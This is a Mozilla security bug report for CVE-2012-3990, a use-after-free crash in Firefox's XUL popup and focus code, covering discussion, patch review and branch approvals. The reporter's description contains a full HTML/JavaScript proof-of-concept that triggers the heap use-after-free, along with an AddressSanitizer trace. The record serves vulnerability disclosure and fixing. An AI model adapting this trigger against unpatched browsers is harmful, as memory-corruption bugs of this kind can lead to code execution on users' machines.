Bug 787704 (CVE-2012-3990)

use-after-free in nsIContent::GetNameSpaceID

RESOLVED FIXED in Firefox 16

Status

()

Core
XP Toolkit/Widgets: Menus
--
critical
RESOLVED FIXED
5 years ago
3 years ago

People

(Reporter: miaubiz, Assigned: smaug)

Tracking

(4 keywords)

Trunk
mozilla18
crash, csectype-uaf, sec-critical, testcase
Points:
---
Bug Flags:
sec-bounty +

Firefox Tracking Flags

(firefox16+ fixed, firefox17+ fixed, firefox18+ fixed, firefox-esr1016+ fixed)

Details

(Whiteboard: [asan][advisory-tracking+])

Attachments

(5 attachments)

(Reporter)

Description

5 years ago
Created attachment 657590 [details]
repro case

when I load:

<html>
  <head>
    <style>
      .c0 { content:'A' } 
    </style>
    <script>
      onload = function() {
        document.body.appendChild(document.createElement('td'))
        el0=document.createElement('div')
        document.body.appendChild(el0)
        el1=document.createElement('form')
        document.body.appendChild(el1)
        el2=document.createElement('input')
        el2.setAttribute('type', 'submit')
        el1.appendChild(el2)
        el3=document.createElement('input')
        el3.setAttribute('required', 'A')
        el1.appendChild(el3)  
        el4=document.createElement('input')
        el4.type='file'
        el1.appendChild(el4)
        setTimeout(function() {
          el4.focus()
          setTimeout(function() {
            el4.click()
            el2.setAttribute('required', 'A')
            el0.setAttribute('class', 'c0')
            setTimeout(function() {
              document.designMode='on'
              document.execCommand('italic')
              document.designMode='off'
              setTimeout(function() {
                el2.click()
              }, 100)
            }, 100)
          }, 100)
        }, 100)
      }
    </script>
  </head>
  <body>
  </body>
</html>

I get a crash like so:

==24180== ERROR: AddressSanitizer heap-use-after-free on address 0x7fffbe11ac98 at pc 0x7fffeeb97d74 bp 0x7ffffffedd70 sp 0x7ffffffedd68
READ of size 8 at 0x7fffbe11ac98 thread T0
    #0 0x7fffeeb97d74 in nsIContent::GetNameSpaceID() const /builds/slave/try-lnx64/build/../../../dist/include/nsINodeInfo.h:143
    #1 0x7fffee6f9a37 in nsCOMPtr<nsIDOMEventTarget>::operator=(nsCOMPtr<nsIDOMEventTarget> const&) /builds/slave/try-lnx64/build/../../../../dist/include/nsCOMPtr.h:614
    #2 0x7fffee6fe5fb in nsXULPopupManager::ShowPopupCallback(nsIContent*, nsMenuPopupFrame*, bool, bool) /builds/slave/try-lnx64/build/layout/xul/base/src/nsXULPopupManager.cpp:716
    #3 0x7fffee6fc7a2 in nsXULPopupManager::FirePopupShowingEvent(nsIContent*, bool, bool) /builds/slave/try-lnx64/build/layout/xul/base/src/nsXULPopupManager.cpp:1181
    #4 0x7fffee6fcf36 in nsXULPopupManager::ShowPopup(nsIContent*, nsIContent*, nsAString_internal const&, int, int, bool, bool, bool, nsIDOMEvent*) /builds/slave/try-lnx64/build/layout/xul/base/src/nsXULPopupManager.cpp:568
    #5 0x7fffee691040 in non-virtual thunk to nsPopupBoxObject::OpenPopup(nsIDOMElement*, nsAString_internal const&, int, int, bool, bool, nsIDOMEvent*) /builds/slave/try-lnx64/build/../../../../dist/include/nsCOMPtr.h:407
0x7fffbe11ac98 is located 24 bytes inside of 368-byte region [0x7fffbe11ac80,0x7fffbe11adf0)
freed by thread T0 here:
    #0 0x42ae21 in free ??:0
    #1 0x7fffee92a335 in nsNodeUtils::LastRelease(nsINode*) /builds/slave/try-lnx64/build/content/base/src/nsNodeUtils.cpp:261
    #2 0x7fffee9ff963 in mozilla::dom::FragmentOrElement::Release() /builds/slave/try-lnx64/build/content/base/src/FragmentOrElement.cpp:1853
    #3 0x7fffef02ebc4 in nsGlobalWindow::SetFocusedNode(nsIContent*, unsigned int, bool) /builds/slave/try-lnx64/build/dom/base/nsGlobalWindow.cpp:7765
    #4 0x7fffeefc93be in nsFocusManager::SetFocusInner(nsIContent*, int, bool, bool) 

aurora and nightly affected atleast.
(Reporter)

Comment 1

5 years ago
Created attachment 657591 [details]
asan log linux nightly
(Reporter)

Comment 2

5 years ago
Created attachment 657592 [details]
asan log linux aurora
Component: General → XP Toolkit/Widgets: Menus
Product: Firefox → Core
(Assignee)

Updated

5 years ago
Attachment #657590 - Attachment mime type: text/plain → text/html
(Assignee)

Comment 3

5 years ago
We end up having sContent pointing to a deleted object.
sPresContext looks scary too, and sTextStateObserver.

Masayuki, could you look at this? If not, I will.
(Assignee)

Comment 4

5 years ago
Hmm, I guess sPresContext is ok and sTextStateObserver is actually refcounted.
(Assignee)

Comment 5

5 years ago
Actually, I could take this.
Assignee: nobody → bugs
(Assignee)

Comment 6

5 years ago
Or no :) My initial approach doesn't seem to work.
Assignee: bugs → nobody
(Assignee)

Updated

5 years ago
Assignee: nobody → bugs
(Assignee)

Comment 7

5 years ago
Created attachment 657613 [details] [diff] [review]
patch
Attachment #657613 - Flags: review?(masayuki)
(Assignee)

Comment 8

5 years ago
Comment on attachment 657613 [details] [diff] [review]
patch

IIRC static nsCOMPtrs should be avoided, so I used manual refcounting here.
Also, since sContent is released when prescontext goes away, there
shouldn't be leaks.

Updated

5 years ago
Severity: normal → critical
Keywords: crash, sec-critical, testcase
OS: Linux → All
Hardware: x86 → All
Whiteboard: [asan]
Comment on attachment 657613 [details] [diff] [review]
patch

This patch looks okay for me.

However, I don't understand why does the testcase in comment 0 cause such case. Looks like el4.focus() caused releasing the content, why?
Attachment #657613 - Flags: review?(masayuki) → review+
(Assignee)

Comment 10

5 years ago
It goes something like: Focus would be in native anon button of input type file when designMode = on reframes the element.
(Assignee)

Comment 11

5 years ago
Created attachment 657793 [details] [diff] [review]
for branches with nsnull
(In reply to Olli Pettay [:smaug] from comment #10)
> It goes something like: Focus would be in native anon button of input type
> file when designMode = on reframes the element.

When it's reframed, all of the anon contents will be recreated?
(Assignee)

Comment 13

5 years ago
Yes.
Thanks, I understand.
status-firefox-esr10: --- → affected
status-firefox16: --- → affected
status-firefox17: --- → affected
status-firefox18: --- → affected
tracking-firefox-esr10: --- → ?
tracking-firefox16: --- → +
tracking-firefox17: --- → +
tracking-firefox18: --- → +
Keywords: csec-uaf
tracking-firefox-esr10: ? → 16+
Olli, is this ready to be landed?

Updated

5 years ago
tracking-firefox-esr10: 16+ → ---
(Assignee)

Comment 17

5 years ago
(In reply to Andrew McCreight [:mccr8] from comment #16)
> Olli, is this ready to be landed?

Yes, but wasn't sure whether I should land it immediately.
(Assignee)

Comment 18

5 years ago
I'll try to remember to land it tomorrow.
(In reply to Olli Pettay [:smaug] from comment #18)
> I'll try to remember to land it tomorrow.

Now's the time. Please land and nominate for uplift.
(Assignee)

Comment 20

5 years ago
Comment on attachment 657793 [details] [diff] [review]
for branches with nsnull

[Approval Request Comment]
Bug caused by (feature/regressing bug #): NA
User impact if declined: Security sensitive crash
Testing completed (on m-c, etc.): tested locally. Will land m-c real soon
Risk to taking this patch (and alternatives if risky): May keep an element
longer than before, so that could increase memory usage temporarily.
String or UUID changes made by this patch: NA
Attachment #657793 - Flags: approval-mozilla-esr10?
Attachment #657793 - Flags: approval-mozilla-beta?
(Assignee)

Comment 21

5 years ago
Comment on attachment 657613 [details] [diff] [review]
patch

[Approval Request Comment]
Bug caused by (feature/regressing bug #): NA
User impact if declined: Security sensitive crash
Testing completed (on m-c, etc.): tested locally. Will land m-c real soon
Risk to taking this patch (and alternatives if risky): May keep an element
longer than before, so that could increase memory usage temporarily.
String or UUID changes made by this patch: NA
Attachment #657613 - Flags: approval-mozilla-aurora?
(Assignee)

Comment 22

5 years ago
https://hg.mozilla.org/mozilla-central/rev/f8d30ea0974c
Status: NEW → RESOLVED
Last Resolved: 5 years ago
Resolution: --- → FIXED
tracking-firefox-esr10: --- → ?
Comment on attachment 657613 [details] [diff] [review]
patch

[Triage Comment]
Approving for Aurora in preparation for Beta consideration.
Attachment #657613 - Flags: approval-mozilla-aurora? → approval-mozilla-aurora+

Updated

5 years ago
tracking-firefox-esr10: ? → 16+
status-firefox18: affected → fixed
We'll approve on Monday if there haven't been any Nightly/Aurora regressions (please land on Aurora asap).
Target Milestone: --- → mozilla18
https://hg.mozilla.org/releases/mozilla-aurora/rev/33c5c2cccda3
status-firefox17: affected → fixed
(Assignee)

Comment 26

5 years ago
Thanks for landing to Aurora.
(I was going to do it later today.)
Comment on attachment 657793 [details] [diff] [review]
for branches with nsnull

[Triage Comment]
Approving for Beta (please land no later than tomorrow morning PT) and ESR10.
Attachment #657793 - Flags: approval-mozilla-esr10?
Attachment #657793 - Flags: approval-mozilla-esr10+
Attachment #657793 - Flags: approval-mozilla-beta?
Attachment #657793 - Flags: approval-mozilla-beta+
(Assignee)

Comment 28

5 years ago
https://hg.mozilla.org/releases/mozilla-esr10/rev/2b2a09683ad5
https://hg.mozilla.org/releases/mozilla-beta/rev/94f34cf9dac0

Updated

5 years ago
status-firefox-esr10: affected → fixed
status-firefox16: affected → fixed
Whiteboard: [asan] → [asan][advisory-tracking+]
Alias: CVE-2012-3990
Keywords: verifyme
Group: core-security
Flags: sec-bounty+
mass remove verifyme requests greater than 4 months old
Keywords: verifyme
You need to log in before you can comment on or make changes to this bug.